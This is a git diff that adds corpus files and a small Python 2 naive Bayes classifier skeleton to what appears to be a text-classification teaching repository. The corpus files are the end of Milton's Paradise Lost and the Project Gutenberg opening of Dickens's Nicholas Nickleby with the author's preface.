journey bates at noon, +Though bent on speed; so here the Arch-Angel paused +Betwixt the world destroyed and world restored, +If Adam aught perhaps might interpose; +Then, with transition sweet, new speech resumes. +Thus thou hast seen one world begin, and end; +And Man, as from a second stock, proceed. +Much thou hast yet to see; but I perceive +Thy mortal sight to fail; objects divine +Must needs impair and weary human sense: +Henceforth what is to come I will relate; +Thou therefore give due audience, and attend. +This second source of Men, while yet but few, +And while the dread of judgement past remains +Fresh in their minds, fearing the Deity, +With some regard to what is just and right +Shall lead their lives, and multiply apace; +Labouring the soil, and reaping plenteous crop, +Corn, wine, and oil; and, from the herd or flock, +Oft sacrificing bullock, lamb, or kid, +With large wine-offerings poured, and sacred feast, +Shall spend their days in joy unblamed; and dwell +Long time in peace, by families and tribes, +Under paternal rule: till one shall rise +Of proud ambitious heart; who, not content +With fair equality, fraternal state, +Will arrogate dominion undeserved +Over his brethren, and quite dispossess +Concord and law of nature from the earth; +Hunting (and men not beasts shall be his game) +With war, and hostile snare, such as refuse +Subjection to his empire tyrannous: +A mighty hunter thence he shall be styled +Before the Lord; as in despite of Heaven, +Or from Heaven, claiming second sovranty; +And from rebellion shall derive his name, +Though of rebellion others he accuse. +He with a crew, whom like ambition joins +With him or under him to tyrannize, +Marching from Eden towards the west, shall find +The plain, wherein a black bituminous gurge +Boils out from under ground, the mouth of Hell: +Of brick, and of that stuff, they cast to build +A city and tower, whose top may reach to Heaven; +And get themselves a name; lest, far dispersed +In foreign lands, their memory be lost; +Regardless whether good or evil fame. +But God, who oft descends to visit men +Unseen, and through their habitations walks +To mark their doings, them beholding soon, +Comes down to see their city, ere the tower +Obstruct Heaven-towers, and in derision sets +Upon their tongues a various spirit, to rase +Quite out their native language; and, instead, +To sow a jangling noise of words unknown: +Forthwith a hideous gabble rises loud, +Among the builders; each to other calls +Not understood; till hoarse, and all in rage, +As mocked they storm: great laughter was in Heaven, +And looking down, to see the hubbub strange, +And hear the din: Thus was the building left +Ridiculous, and the work Confusion named. +Whereto thus Adam, fatherly displeased. +O execrable son! so to aspire +Above his brethren; to himself assuming +Authority usurped, from God not given: +He gave us only over beast, fish, fowl, +Dominion absolute; that right we hold +By his donation; but man over men +He made not lord; such title to himself +Reserving, human left from human free. +But this usurper his encroachment proud +Stays not on Man; to God his tower intends +Siege and defiance: Wretched man!what food +Will he convey up thither, to sustain +Himself and his rash army; where thin air +Above the clouds will pine his entrails gross, +And famish him of breath, if not of bread? +To whom thus Michael. Justly thou abhorrest +That son, who on the quiet state of men +Such trouble brought, affecting to subdue +Rational liberty; yet know withal, +Since thy original lapse, true liberty +Is lost, which always with right reason dwells +Twinned, and from her hath no dividual being: +Reason in man obscured, or not obeyed, +Immediately inordinate desires, +And upstart passions, catch the government +From reason; and to servitude reduce +Man, till then free. Therefore, since he permits +Within himself unworthy powers to reign +Over free reason, God, in judgement just, +Subjects him from without to violent lords; +Who oft as undeservedly enthrall +His outward freedom: Tyranny must be; +Though to the tyrant thereby no excuse. +Yet sometimes nations will decline so low +From virtue, which is reason, that no wrong, +But justice, and some fatal curse annexed, +Deprives them of their outward liberty; +Their inward lost: Witness the irreverent son +Of him who built the ark; who, for the shame +Done to his father, heard this heavy curse, +Servant of servants, on his vicious race. +Thus will this latter, as the former world, +Still tend from bad to worse; till God at last, +Wearied with their iniquities, withdraw +His presence from among them, and avert +His holy eyes; resolving from thenceforth +To leave them to their own polluted ways; +And one peculiar nation to select +From all the rest, of whom to be invoked, +A nation from one faithful man to spring: +Him on this side Euphrates yet residing, +Bred up in idol-worship: O, that men +(Canst thou believe?) should be so stupid grown, +While yet the patriarch lived, who 'scaped the flood, +As to forsake the living God, and fall +To worship their own work in wood and stone +For Gods! Yet him God the Most High vouchsafes +To call by vision, from his father's house, +His kindred, and false Gods, into a land +Which he will show him; and from him will raise +A mighty nation; and upon him shower +His benediction so, that in his seed +All nations shall be blest: he straight obeys; +Not knowing to what land, yet firm believes: +I see him, but thou canst not, with what faith +He leaves his Gods, his friends, and native soil, +Ur of Chaldaea, passing now the ford +To Haran; after him a cumbrous train +Of herds and flocks, and numerous servitude; +Not wandering poor, but trusting all his wealth +With God, who called him, in a land unknown. +Canaan he now attains; I see his tents +Pitched about Sechem, and the neighbouring plain +Of Moreh; there by promise he receives +Gift to his progeny of all that land, +From Hameth northward to the Desart south; +(Things by their names I call, though yet unnamed;) +From Hermon east to the great western Sea; +Mount Hermon, yonder sea; each place behold +In prospect, as I point them; on the shore +Mount Carmel; here, the double-founted stream, +Jordan, true limit eastward; but his sons +Shall dwell to Senir, that long ridge of hills. +This ponder, that all nations of the earth +Shall in his seed be blessed: By that seed +Is meant thy great Deliverer, who shall bruise +The Serpent's head; whereof to thee anon +Plainlier shall be revealed. This patriarch blest, +Whom faithful Abraham due time shall call, +A son, and of his son a grand-child, leaves; +Like him in faith, in wisdom, and renown: +The grandchild, with twelve sons increased, departs +From Canaan to a land hereafter called +Egypt, divided by the river Nile +See where it flows, disgorging at seven mouths +Into the sea. To sojourn in that land +He comes, invited by a younger son +In time of dearth, a son whose worthy deeds +Raise him to be the second in that realm +Of Pharaoh. There he dies, and leaves his race +Growing into a nation, and now grown +Suspected to a sequent king, who seeks +To stop their overgrowth, as inmate guests +Too numerous; whence of guests he makes them slaves +Inhospitably, and kills their infant males: +Till by two brethren (these two brethren call +Moses and Aaron) sent from God to claim +His people from enthralment, they return, +With glory and spoil, back to their promised land. +But first, the lawless tyrant, who denies +To know their God, or message to regard, +Must be compelled by signs and judgements dire; +To blood unshed the rivers must be turned; +Frogs, lice, and flies, must all his palace fill +With loathed intrusion, and fill all the land; +His cattle must of rot and murren die; +Botches and blains must all his flesh emboss, +And all his people; thunder mixed with hail, +Hail mixed with fire, must rend the Egyptians sky, +And wheel on the earth, devouring where it rolls; +What it devours not, herb, or fruit, or grain, +A darksome cloud of locusts swarming down +Must eat, and on the ground leave nothing green; +Darkness must overshadow all his bounds, +Palpable darkness, and blot out three days; +Last, with one midnight stroke, all the first-born +Of Egypt must lie dead. Thus with ten wounds +The river-dragon tamed at length submits +To let his sojourners depart, and oft +Humbles his stubborn heart; but still, as ice +More hardened after thaw; till, in his rage +Pursuing whom he late dismissed, the sea +Swallows him with his host; but them lets pass, +As on dry land, between two crystal walls; +Awed by the rod of Moses so to stand +Divided, till his rescued gain their shore: +Such wondrous power God to his saint will lend, +Though present in his Angel; who shall go +Before them in a cloud, and pillar of fire; +By day a cloud, by night a pillar of fire; +To guide them in their journey, and remove +Behind them, while the obdurate king pursues: +All night he will pursue; but his approach +Darkness defends between till morning watch; +Then through the fiery pillar, and the cloud, +God looking forth will trouble all his host, +And craze their chariot-wheels: when by command +Moses once more his potent rod extends +Over the sea; the sea his rod obeys; +On their embattled ranks the waves return, +And overwhelm their war: The race elect +Safe toward Canaan from the shore advance +Through the wild Desart, not the readiest way; +Lest, entering on the Canaanite alarmed, +War terrify them inexpert, and fear +Return them back to Egypt, choosing rather +Inglorious life with servitude; for life +To noble and ignoble is more sweet +Untrained in arms, where rashness leads not on. +This also shall they gain by their delay +In the wide wilderness; there they shall found +Their government, and their great senate choose +Through the twelve tribes, to rule by laws ordained: +God from the mount of Sinai, whose gray top +Shall tremble, he descending, will himself +In thunder, lightning, and loud trumpets' sound, +Ordain them laws; part, such as appertain +To civil justice; part, religious rites +Of sacrifice; informing them, by types +And shadows, of that destined Seed to bruise +The Serpent, by what means he shall achieve +Mankind's deliverance. But the voice of God +To mortal ear is dreadful: They beseech +That Moses might report to them his will, +And terrour cease; he grants what they besought, +Instructed that to God is no access +Without Mediator, whose high office now +Moses in figure bears; to introduce +One greater, of whose day he shall foretel, +And all the Prophets in their age the times +Of great Messiah shall sing. Thus, laws and rites +Established, such delight hath God in Men +Obedient to his will, that he vouchsafes +Among them to set up his tabernacle; +The Holy One with mortal Men to dwell: +By his prescript a sanctuary is framed +Of cedar, overlaid with gold; therein +An ark, and in the ark his testimony, +The records of his covenant; over these +A mercy-seat of gold, between the wings +Of two bright Cherubim; before him burn +Seven lamps as in a zodiack representing +The heavenly fires; over the tent a cloud +Shall rest by day, a fiery gleam by night; +Save when they journey, and at length they come, +Conducted by his Angel, to the land +Promised to Abraham and his seed:--The rest +Were long to tell; how many battles fought +How many kings destroyed; and kingdoms won; +Or how the sun shall in mid Heaven stand still +A day entire, and night's due course adjourn, +Man's voice commanding, 'Sun, in Gibeon stand, +'And thou moon in the vale of Aialon, +'Till Israel overcome! so call the third +From Abraham, son of Isaac; and from him +His whole descent, who thus shall Canaan win. +Here Adam interposed. O sent from Heaven, +Enlightener of my darkness, gracious things +Thou hast revealed; those chiefly, which concern +Just Abraham and his seed: now first I find +Mine eyes true-opening, and my heart much eased; +Erewhile perplexed with thoughts, what would become +Of me and all mankind: But now I see +His day, in whom all nations shall be blest; +Favour unmerited by me, who sought +Forbidden knowledge by forbidden means. +This yet I apprehend not, why to those +Among whom God will deign to dwell on earth +So many and so various laws are given; +So many laws argue so many sins +Among them; how can God with such reside? +To whom thus Michael. Doubt not but that sin +Will reign among them, as of thee begot; +And therefore was law given them, to evince +Their natural pravity, by stirring up +Sin against law to fight: that when they see +Law can discover sin, but not remove, +Save by those shadowy expiations weak, +The blood of bulls and goats, they may conclude +Some blood more precious must be paid for Man; +Just for unjust; that, in such righteousness +To them by faith imputed, they may find +Justification towards God, and peace +Of conscience; which the law by ceremonies +Cannot appease; nor Man the mortal part +Perform; and, not performing, cannot live. +So law appears imperfect; and but given +With purpose to resign them, in full time, +Up to a better covenant; disciplined +From shadowy types to truth; from flesh to spirit; +From imposition of strict laws to free +Acceptance of large grace; from servile fear +To filial; works of law to works of faith. +And therefore shall not Moses, though of God +Highly beloved, being but the minister +Of law, his people into Canaan lead; +But Joshua, whom the Gentiles Jesus call, +His name and office bearing, who shall quell +The adversary-Serpent, and bring back +Through the world's wilderness long-wandered Man +Safe to eternal Paradise of rest. +Mean while they, in their earthly Canaan placed, +Long time shall dwell and prosper, but when sins +National interrupt their publick peace, +Provoking God to raise them enemies; +From whom as oft he saves them penitent +By Judges first, then under Kings; of whom +The second, both for piety renowned +And puissant deeds, a promise shall receive +Irrevocable, that his regal throne +For ever shall endure; the like shall sing +All Prophecy, that of the royal stock +Of David (so I name this king) shall rise +A Son, the Woman's seed to thee foretold, +Foretold to Abraham, as in whom shall trust +All nations; and to kings foretold, of kings +The last; for of his reign shall be no end. +But first, a long succession must ensue; +And his next son, for wealth and wisdom famed, +The clouded ark of God, till then in tents +Wandering, shall in a glorious temple enshrine. +Such follow him, as shall be registered +Part good, part bad; of bad the longer scroll; +Whose foul idolatries, and other faults +Heaped to the popular sum, will so incense +God, as to leave them, and expose their land, +Their city, his temple, and his holy ark, +With all his sacred things, a scorn and prey +To that proud city, whose high walls thou sawest +Left in confusion; Babylon thence called. +There in captivity he lets them dwell +The space of seventy years; then brings them back, +Remembering mercy, and his covenant sworn +To David, stablished as the days of Heaven. +Returned from Babylon by leave of kings +Their lords, whom God disposed, the house of God +They first re-edify; and for a while +In mean estate live moderate; till, grown +In wealth and multitude, factious they grow; +But first among the priests dissention springs, +Men who attend the altar, and should most +Endeavour peace: their strife pollution brings +Upon the temple itself: at last they seise +The scepter, and regard not David's sons; +Then lose it to a stranger, that the true +Anointed King Messiah might be born +Barred of his right; yet at his birth a star, +Unseen before in Heaven, proclaims him come; +And guides the eastern sages, who inquire +His place, to offer incense, myrrh, and gold: +His place of birth a solemn Angel tells +To simple shepherds, keeping watch by night; +They gladly thither haste, and by a quire +Of squadroned Angels hear his carol sung. +A virgin is his mother, but his sire +The power of the Most High: He shall ascend +The throne hereditary, and bound his reign +With Earth's wide bounds, his glory with the Heavens. +He ceased, discerning Adam with such joy +Surcharged, as had like grief been dewed in tears, +Without the vent of words; which these he breathed. +O prophet of glad tidings, finisher +Of utmost hope! now clear I understand +What oft my steadiest thoughts have searched in vain; +Why our great Expectation should be called +The seed of Woman: Virgin Mother, hail, +High in the love of Heaven; yet from my loins +Thou shalt proceed, and from thy womb the Son +Of God Most High: so God with Man unites! +Needs must the Serpent now his capital bruise +Expect with mortal pain: Say where and when +Their fight, what stroke shall bruise the victor's heel. +To whom thus Michael. Dream not of their fight, +As of a duel, or the local wounds +Of head or heel: Not therefore joins the Son +Manhood to Godhead, with more strength to foil +Thy enemy; nor so is overcome +Satan, whose fall from Heaven, a deadlier bruise, +Disabled, not to give thee thy death's wound: +Which he, who comes thy Saviour, shall recure, +Not by destroying Satan, but his works +In thee, and in thy seed: Nor can this be, +But by fulfilling that which thou didst want, +Obedience to the law of God, imposed +On penalty of death, and suffering death; +The penalty to thy transgression due, +And due to theirs which out of thine will grow: +So only can high Justice rest appaid. +The law of God exact he shall fulfil +Both by obedience and by love, though love +Alone fulfil the law; thy punishment +He shall endure, by coming in the flesh +To a reproachful life, and cursed death; +Proclaiming life to all who shall believe +In his redemption; and that his obedience, +Imputed, becomes theirs by faith; his merits +To save them, not their own, though legal, works. +For this he shall live hated, be blasphemed, +Seised on by force, judged, and to death condemned +A shameful and accursed, nailed to the cross +By his own nation; slain for bringing life: +But to the cross he nails thy enemies, +The law that is against thee, and the sins +Of all mankind, with him there crucified, +Never to hurt them more who rightly trust +In this his satisfaction; so he dies, +But soon revives; Death over him no power +Shall long usurp; ere the third dawning light +Return, the stars of morn shall see him rise +Out of his grave, fresh as the dawning light, +Thy ransom paid, which Man from death redeems, +His death for Man, as many as offered life +Neglect not, and the benefit embrace +By faith not void of works: This God-like act +Annuls thy doom, the death thou shouldest have died, +In sin for ever lost from life; this act +Shall bruise the head of Satan, crush his strength, +Defeating Sin and Death, his two main arms; +And fix far deeper in his head their stings +Than temporal death shall bruise the victor's heel, +Or theirs whom he redeems; a death, like sleep, +A gentle wafting to immortal life. +Nor after resurrection shall he stay +Longer on earth, than certain times to appear +To his disciples, men who in his life +Still followed him; to them shall leave in charge +To teach all nations what of him they learned +And his salvation; them who shall believe +Baptizing in the profluent stream, the sign +Of washing them from guilt of sin to life +Pure, and in mind prepared, if so befall, +For death, like that which the Redeemer died. +All nations they shall teach; for, from that day, +Not only to the sons of Abraham's loins +Salvation shall be preached, but to the sons +Of Abraham's faith wherever through the world; +So in his seed all nations shall be blest. +Then to the Heaven of Heavens he shall ascend +With victory, triumphing through the air +Over his foes and thine; there shall surprise +The Serpent, prince of air, and drag in chains +Through all his realm, and there confounded leave; +Then enter into glory, and resume +His seat at God's right hand, exalted high +Above all names in Heaven; and thence shall come, +When this world's dissolution shall be ripe, +With glory and power to judge both quick and dead; +To judge the unfaithful dead, but to reward +His faithful, and receive them into bliss, +Whether in Heaven or Earth; for then the Earth +Shall all be Paradise, far happier place +Than this of Eden, and far happier days. +So spake the Arch-Angel Michael; then paused, +As at the world's great period; and our sire, +Replete with joy and wonder, thus replied. +O Goodness infinite, Goodness immense! +That all this good of evil shall produce, +And evil turn to good; more wonderful +Than that which by creation first brought forth +Light out of darkness! Full of doubt I stand, +Whether I should repent me now of sin +By me done, and occasioned; or rejoice +Much more, that much more good thereof shall spring; +To God more glory, more good-will to Men +From God, and over wrath grace shall abound. +But say, if our Deliverer up to Heaven +Must re-ascend, what will betide the few +His faithful, left among the unfaithful herd, +The enemies of truth? Who then shall guide +His people, who defend? Will they not deal +Worse with his followers than with him they dealt? +Be sure they will, said the Angel; but from Heaven +He to his own a Comforter will send, +The promise of the Father, who shall dwell +His Spirit within them; and the law of faith, +Working through love, upon their hearts shall write, +To guide them in all truth; and also arm +With spiritual armour, able to resist +Satan's assaults, and quench his fiery darts; +What man can do against them, not afraid, +Though to the death; against such cruelties +With inward consolations recompensed, +And oft supported so as shall amaze +Their proudest persecutors: For the Spirit, +Poured first on his Apostles, whom he sends +To evangelize the nations, then on all +Baptized, shall them with wonderous gifts endue +To speak all tongues, and do all miracles, +As did their Lord before them. Thus they win +Great numbers of each nation to receive +With joy the tidings brought from Heaven: At length +Their ministry performed, and race well run, +Their doctrine and their story written left, +They die; but in their room, as they forewarn, +Wolves shall succeed for teachers, grievous wolves, +Who all the sacred mysteries of Heaven +To their own vile advantages shall turn +Of lucre and ambition; and the truth +With superstitions and traditions taint, +Left only in those written records pure, +Though not but by the Spirit understood. +Then shall they seek to avail themselves of names, +Places, and titles, and with these to join +Secular power; though feigning still to act +By spiritual, to themselves appropriating +The Spirit of God, promised alike and given +To all believers; and, from that pretence, +Spiritual laws by carnal power shall force +On every conscience; laws which none shall find +Left them inrolled, or what the Spirit within +Shall on the heart engrave. What will they then +But force the Spirit of Grace itself, and bind +His consort Liberty? what, but unbuild +His living temples, built by faith to stand, +Their own faith, not another's? for, on earth, +Who against faith and conscience can be heard +Infallible? yet many will presume: +Whence heavy persecution shall arise +On all, who in the worship persevere +Of spirit and truth; the rest, far greater part, +Will deem in outward rites and specious forms +Religion satisfied; Truth shall retire +Bestuck with slanderous darts, and works of faith +Rarely be found: So shall the world go on, +To good malignant, to bad men benign; +Under her own weight groaning; till the day +Appear of respiration to the just, +And vengeance to the wicked, at return +Of him so lately promised to thy aid, +The Woman's Seed; obscurely then foretold, +Now ampler known thy Saviour and thy Lord; +Last, in the clouds, from Heaven to be revealed +In glory of the Father, to dissolve +Satan with his perverted world; then raise +From the conflagrant mass, purged and refined, +New Heavens, new Earth, ages of endless date, +Founded in righteousness, and peace, and love; +To bring forth fruits, joy and eternal bliss. +He ended; and thus Adam last replied. +How soon hath thy prediction, Seer blest, +Measured this transient world, the race of time, +Till time stand fixed! Beyond is all abyss, +Eternity, whose end no eye can reach. +Greatly-instructed I shall hence depart; +Greatly in peace of thought; and have my fill +Of knowledge, what this vessel can contain; +Beyond which was my folly to aspire. +Henceforth I learn, that to obey is best, +And love with fear the only God; to walk +As in his presence; ever to observe +His providence; and on him sole depend, +Merciful over all his works, with good +Still overcoming evil, and by small +Accomplishing great things, by things deemed weak +Subverting worldly strong, and worldly wise +By simply meek: that suffering for truth's sake +Is fortitude to highest victory, +And, to the faithful, death the gate of life; +Taught this by his example, whom I now +Acknowledge my Redeemer ever blest. +To whom thus also the Angel last replied. +This having learned, thou hast attained the sum +Of wisdom; hope no higher, though all the stars +Thou knewest by name, and all the ethereal powers, +All secrets of the deep, all Nature's works, +Or works of God in Heaven, air, earth, or sea, +And all the riches of this world enjoyedst, +And all the rule, one empire; only add +Deeds to thy knowledge answerable; add faith, +Add virtue, patience, temperance; add love, +By name to come called charity, the soul +Of all the rest: then wilt thou not be loth +To leave this Paradise, but shalt possess +A Paradise within thee, happier far.-- +Let us descend now therefore from this top +Of speculation; for the hour precise +Exacts our parting hence; and see!the guards, +By me encamped on yonder hill, expect +Their motion; at whose front a flaming sword, +In signal of remove, waves fiercely round: +We may no longer stay: go, waken Eve; +Her also I with gentle dreams have calmed +Portending good, and all her spirits composed +To meek submission: thou, at season fit, +Let her with thee partake what thou hast heard; +Chiefly what may concern her faith to know, +The great deliverance by her seed to come +(For by the Woman's seed) on all mankind: +That ye may live, which will be many days, +Both in one faith unanimous, though sad, +With cause, for evils past; yet much more cheered +With meditation on the happy end. +He ended, and they both descend the hill; +Descended, Adam to the bower, where Eve +Lay sleeping, ran before; but found her waked; +And thus with words not sad she him received. +Whence thou returnest, and whither wentest, I know; +For God is also in sleep; and dreams advise, +Which he hath sent propitious, some great good +Presaging, since with sorrow and heart's distress +Wearied I fell asleep: But now lead on; +In me is no delay; with thee to go, +Is to stay here; without thee here to stay, +Is to go hence unwilling; thou to me +Art all things under $Heaven, all places thou, +Who for my wilful crime art banished hence. +This further consolation yet secure +I carry hence; though all by me is lost, +Such favour I unworthy am vouchsafed, +By me the Promised Seed shall all restore. +So spake our mother Eve; and Adam heard +Well pleased, but answered not: For now, too nigh +The Arch-Angel stood; and, from the other hill +To their fixed station, all in bright array +The Cherubim descended; on the ground +Gliding meteorous, as evening-mist +Risen from a river o'er the marish glides, +And gathers ground fast at the labourer's heel +Homeward returning. High in front advanced, +The brandished sword of God before them blazed, +Fierce as a comet; which with torrid heat, +And vapour as the Libyan air adust, +Began to parch that temperate clime; whereat +In either hand the hastening Angel caught +Our lingering parents, and to the eastern gate +Led them direct, and down the cliff as fast +To the subjected plain; then disappeared. +They, looking back, all the eastern side beheld +Of Paradise, so late their happy seat, +Waved over by that flaming brand; the gate +With dreadful faces thronged, and fiery arms: +Some natural tears they dropt, but wiped them soon; +The world was all before them, where to choose +Their place of rest, and Providence their guide: +They, hand in hand, with wandering steps and slow, +Through Eden took their solitary way. + +[The End] diff --git a/mccalum/naivebayes.py b/mccalum/naivebayes.py new file mode 100644 index 0000000..167961e --- /dev/null +++ b/mccalum/naivebayes.py @@ -0,0 +1,61 @@ +#!/sw/bin/python + +import math +import sys +import glob +import pickle +from dicts import DefaultDict + +# In the documentation and variable names below "class" is the same +# as "category" + +def naivebayes (dirs): + """Train and return a naive Bayes classifier. + The datastructure returned is an array of tuples, one tuple per + class; each tuple contains the class name (same as dir name) + and the multinomial distribution over words associated with + the class""" + classes = [] + for dir in dirs: + print dir + countdict = files2countdict(glob.glob(dir+"/*")) + # Here turn the "countdict" dictionary of word counts into + # into a dictionary of smoothed word probabilities + classes.append((dir,countdict)) + return classes + +def classify (classes, filename): + """Given a trained naive Bayes classifier returned by naivebayes(), and + the filename of a test document, d, return an array of tuples, each + containing a class label; the array is sorted by log-probability + of the class, log p(c|d)""" + answers = [] + print 'Classifying', filename + for c in classes: + score = 0 + for word in open(filename).read().split(): + word = word.lower() + score += math.log(c[1].get(word,1)) + answers.append((score,c[0])) + answers.sort() + return answers + +def files2countdict (files): + """Given an array of filenames, return a dictionary with keys + being the space-separated, lower-cased words, and the values being + the number of times that word occurred in the files.""" + d = DefaultDict(0) + for file in files: + for word in open(file).read().split(): + d[word.lower()] += 1 + return d + + +if __name__ == '__main__': + print 'argv', sys.argv + print "Usage:", sys.argv[0], "classdir1 classdir2 [classdir3...] testfile" + dirs = sys.argv[1:-1] + testfile = sys.argv[-1] + nb = naivebayes (dirs) + print classify(nb, testfile) + pickle.dump(nb, open("classifier.pickle",'w')) diff --git a/mccalum/ncklb10.txt b/mccalum/ncklb10.txt new file mode 100644 index 0000000..acfc3e2 --- /dev/null +++ b/mccalum/ncklb10.txt @@ -0,0 +1,39099 @@ +**The Project Gutenberg Etext of Nicholas Nickleby, by Dickens** +#31 In our series by Charles Dickens + + +Copyright laws are changing all over the world, be sure to check +the copyright laws for your country before posting these files!! + +Please take a look at the important information in this header. +We encourage you to keep this file on your own disk, keeping an +electronic path open for the next readers. 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FOR PUBLIC DOMAIN ETEXTS*Ver.04.29.93*END* + + + + + +This Etext prepared for Project Gutenberg by Donald Lainson + + + + + + +THE LIFE AND ADVENTURES OF NICHOLAS NICKLEBY, +containing a Faithful Account of the Fortunes, Misfortunes, +Uprisings, Downfallings and Complete Career of the Nickelby Family + +by Charles Dickens + + + + +AUTHOR'S PREFACE + + +This story was begun, within a few months after the publication of +the completed "Pickwick Papers." There were, then, a good many cheap +Yorkshire schools in existence. There are very few now. + +Of the monstrous neglect of education in England, and the disregard +of it by the State as a means of forming good or bad citizens, and +miserable or happy men, private schools long afforded a notable +example. Although any man who had proved his unfitness for any other +occupation in life, was free, without examination or qualification, +to open a school anywhere; although preparation for the functions he +undertook, was required in the surgeon who assisted to bring a boy +into the world, or might one day assist, perhaps, to send him out of +it; in the chemist, the attorney, the butcher, the baker, the +candlestick maker; the whole round of crafts and trades, the +schoolmaster excepted; and although schoolmasters, as a race, were +the blockheads and impostors who might naturally be expected to +spring from such a state of things, and to flourish in it; these +Yorkshire schoolmasters were the lowest and most rotten round in the +whole ladder. Traders in the avarice, indifference, or imbecility of +parents, and the helplessness of children; ignorant, sordid, brutal +men, to whom few considerate persons would have entrusted the board +and lodging of a horse or a dog; they formed the worthy cornerstone +of a structure, which, for absurdity and a magnificent high-minded +LAISSEZ-ALLER neglect, has rarely been exceeded in the world. + +We hear sometimes of an action for damages against the unqualified +medical practitioner, who has deformed a broken limb in pretending to +heal it. But, what of the hundreds of thousands of minds that have +been deformed for ever by the incapable pettifoggers who have +pretended to form them! + +I make mention of the race, as of the Yorkshire schoolmasters, in the +past tense. Though it has not yet finally disappeared, it is +dwindling daily. A long day's work remains to be done about us in +the way of education, Heaven knows; but great improvements and +facilities towards the attainment of a good one, have been furnished, +of late years. + +I cannot call to mind, now, how I came to hear about Yorkshire +schools when I was a not very robust child, sitting in bye-places +near Rochester Castle, with a head full of PARTRIDGE, STRAP, TOM +PIPES, and SANCHO PANZA; but I know that my first impressions of them +were picked up at that time, and that they were somehow or other +connected with a suppurated abscess that some boy had come home with, +in consequence of his Yorkshire guide, philosopher, and friend, +having ripped it open with an inky pen-knife. The impression made +upon me, however made, never left me. I was always curious about +Yorkshire schools--fell, long afterwards and at sundry times, into +the way of hearing more about them--at last, having an audience, +resolved to write about them. + +With that intent I went down into Yorkshire before I began this book, +in very severe winter time which is pretty faithfully described +herein. As I wanted to see a schoolmaster or two, and was forewarned +that those gentlemen might, in their modesty, be shy of receiving a +visit from the author of the "Pickwick Papers," I consulted with a +professional friend who had a Yorkshire connexion, and with whom I +concerted a pious fraud. He gave me some letters of introduction, in +the name, I think, of my travelling companion; they bore reference to +a supposititious little boy who had been left with a widowed mother +who didn't know what to do with him; the poor lady had thought, as a +means of thawing the tardy compassion of her relations in his behalf, +of sending him to a Yorkshire school; I was the poor lady's friend, +travelling that way; and if the recipient of the letter could inform +me of a school in his neighbourhood, the writer would be very much +obliged. + +I went to several places in that part of the country where I +understood the schools to be most plentifully sprinkled, and had no +occasion to deliver a letter until I came to a certain town which +shall be nameless. The person to whom it was addressed, was not at +home; but he came down at night, through the snow, to the inn where I +was staying. It was after dinner; and he needed little persuasion to +sit down by the fire in a warrn corner, and take his share of the +wine that was on the table. + +I am afraid he is dead now. I recollect he was a jovial, ruddy, +broad-faced man; that we got acquainted directly; and that we talked +on all kinds of subjects, except the school, which he showed a great +anxiety to avoid. "Was there any large school near?" I asked him, in +reference to the letter. "Oh yes," he said; "there was a pratty big +'un." "Was it a good one?" I asked. "Ey!" he said, "it was as good +as anoother; that was a' a matther of opinion"; and fell to looking +at the fire, staring round the room, and whistling a little. On my +reverting to some other topic that we had been discussing, he +recovered immediately; but, though I tried him again and again, I +never approached the question of the school, even if he were in the +middle of a laugh, without observing that his countenance fell, and +that he became uncomfortable. At last, when we had passed a couple +of hours or so, very agreeably, he suddenly took up his hat, and +leaning over the table and looking me full in the face, said, in a +low voice: "Weel, Misther, we've been vara pleasant toogather, and +ar'll spak' my moind tiv'ee. Dinnot let the weedur send her lattle +boy to yan o' our school-measthers, while there's a harse to hoold in +a' Lunnun, or a gootther to lie asleep in. Ar wouldn't mak' ill +words amang my neeburs, and ar speak tiv'ee quiet loike. But I'm +dom'd if ar can gang to bed and not tellee, for weedur's sak', to +keep the lattle boy from a' sike scoondrels while there's a harse to +hoold in a' Lunnun, or a gootther to lie asleep in!" Repeating these +words with great heartiness, and with a solemnity on his jolly face +that made it look twice as large as before, he shook hands and went +away. I never saw him afterwards, but I sometimes imagine that I +descry a faint reflection of him in John Browdie. + +In reference to these gentry, I may here quote a few words from the +original preface to this book. + +"It has afforded the Author great amusement and satisfaction, during +the progress of this work, to learn, from country friends and from a +variety of ludicrous statements concerning himself in provincial +newspapers, that more than one Yorkshire schoolmaster lays claim to +being the original of Mr. Squeers. One worthy, he has reason to +believe, has actually consulted authorities learned in the law, as to +his having good grounds on which to rest an action for libel; +another, has meditated a journey to London, for the express purpose +of committing an assault and battery on his traducer; a third, +perfectly remembers being waited on, last January twelve-month, by +two gentlemen, one of whom held him in conversation while the other +took his likeness; and, although Mr. Squeers has but one eye, and he +has two, and the published sketch does not resemble him (whoever he +may be) in any other respect, still he and all his friends and +neighbours know at once for whom it is meant, because--the character +is SO like him. + +"While the Author cannot but feel the full force of the compliment +thus conveyed to him, he ventures to suggest that these contentions +may arise from the fact, that Mr. Squeers is the representative of a +class, and not of an individual. Where imposture, ignorance, and +brutal cupidity, are the stock in trade of a small body of men, and +one is described by these characteristics, all his fellows will +recognise something belonging to themselves, and each will have a +misgiving that the portrait is his own. + +'The Author's object in calling public attention to the system would +be very imperfectly fulfilled, if he did not state now, in his own +person, emphatically and earnestly, that Mr. Squeers and his school +are faint and feeble pictures of an existing reality, purposely +subdued and kept down lest they should be deemed impossible. That +there are, upon record, trials at law in which damages have been +sought as a poor recompense for lasting agonies and disfigurements +inflicted upon children by the treatment of the master in these +places, involving such offensive and foul details of neglect, +cruelty, and disease, as no writer of fiction would have the boldness +to imagine. And that, since he has been engaged upon these +Adventures, he has received, from private quarters far beyond the +reach of suspicion or distrust, accounts of atrocities, in the +perpetration of which upon neglected or repudiated children, these +schools have been the main instruments, very far exceeding any that +appear in these pages." + +This comprises all I need say on the subject; except that if I had +seen occasion, I had resolved to reprint a few of these details of +legal proceedings, from certain old newspapers. + +One other quotation from the same Preface may serve to introduce a +fact that my readers may think curious. + +"To turn to a more pleasant subject, it may be right to say, that +there ARE two characters in this book which are drawn from life. It +is remarkable that what we call the world, which is so very credulous +in what professes to be true, is most incredulous in what professes +to be imaginary; and that, while, every day in real life, it will +allow in one man no blemishes, and in another no virtues, it will +seldom admit a very strongly-marked character, either good or bad, in +a fictitious narrative, to be within the limits of probability. But +those who take an interest in this tale, will be glad to learn that +the BROTHERS CHEERYBLE live; that their liberal charity, their +singleness of heart, their noble nature, and their unbounded +benevolence, are no creations of the Author's brain; but are +prompting every day (and oftenest by stealth) some munificent and +generous deed in that town of which they are the pride and honour." + +If I were to attempt to sum up the thousands of letters, from all +sorts of people in all sorts of latitudes and climates, which this +unlucky paragraph brought down upon me, I should get into an +arithmetical difficulty from which I could not easily extricate +myself. Suffice it to say, that I believe the applications for +loans, gifts, and offices of profit that I have been requested to +forward to the originals of the BROTHERS CHEERYBLE 